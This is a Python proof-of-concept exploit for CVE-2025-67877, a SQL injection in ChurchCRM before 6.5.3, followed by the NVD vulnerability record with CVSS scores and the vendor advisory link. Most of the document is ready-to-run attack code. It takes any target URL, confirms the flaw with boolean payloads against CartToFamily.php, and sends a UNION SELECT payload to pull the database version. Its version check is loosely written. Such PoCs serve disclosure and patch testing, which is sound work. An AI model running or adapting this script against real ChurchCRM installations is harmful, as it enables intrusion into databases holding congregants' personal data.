CVE-2025-67877

import requests import sys # CVE-2025-67877 SQL Injection PoC for ChurchCRM # Target: ChurchCRM < 6.5.3 # Vulnerability: SQL Injection in src/CartToFamily.php via PersonAddress parameter def test_sql_injection(target_url, payload): """ Test for SQL injection vulnerability """ # Prepare the POST data data = { 'PersonAddress': payload, 'CartId': '1', 'Action': 'submit' } try: response = requests.post( f"{target_url}/src/CartToFamily.php", data=data, timeout=10, verify=False ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def basic_injection_test(target_url): """ Basic test to confirm vulnerability exists """ # True condition - should return results true_payload = "1' OR '1'='1" # False condition - should return no results or error false_payload = "1' AND '1'='2" print("[*] Testing basic SQL injection...") print(f"[*] True condition payload: {true_payload}") resp_true = test_sql_injection(target_url, true_payload) print(f"[*] False condition payload: {false_payload}") resp_false = test_sql_injection(target_url, false_payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Vulnerability confirmed! Different responses received.") return True return False def extract_db_version(target_url): """ Extract database version using UNION-based injection """ # Payload to extract MySQL version payload = "1' UNION SELECT NULL,NULL,@@version,NULL,NULL-- -" print("[*] Extracting database version...") resp = test_sql_injection(target_url, payload) if resp and '5.' in resp.text or '8.' in resp.text: print("[+] Database version extracted successfully") return True return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-67877_poc.py <target_url>") print("Example: python cve-2025-67877_poc.py http://churchcrm.example.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print(f"[*] Target: {target_url}") print(f"[*] CVE: CVE-2025-67877") print(f"[*] Vulnerability: SQL Injection in ChurchCRM CartToFamily.php") print("-" * 60) if basic_injection_test(target_url): print("[+] SQL Injection vulnerability confirmed!") extract_db_version(target_url) else: print("[-] Vulnerability not detected or target not vulnerable") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-67877", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:00.610", "lastModified": "2025-12-18T18:30:28.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Versions prior to 6.5.3 have a SQL injection vulnerability in the `src/CartToFamily.php` file, specifically in how the `PersonAddress` POST parameter is handled. Unlike other parameters in the same file which are correctly cast to integers using the `InputUtils` class, the `PersonAddress` parameter is missing the type definition. This allows an attacker to inject arbitrary SQL commands directly into the query. Version 6.5.3 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "5B1435CA-1370-4154-85E0-6AF1846DEEBD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-h3vq-9gr6-h9r4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-h3vq-9gr6-h9r4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}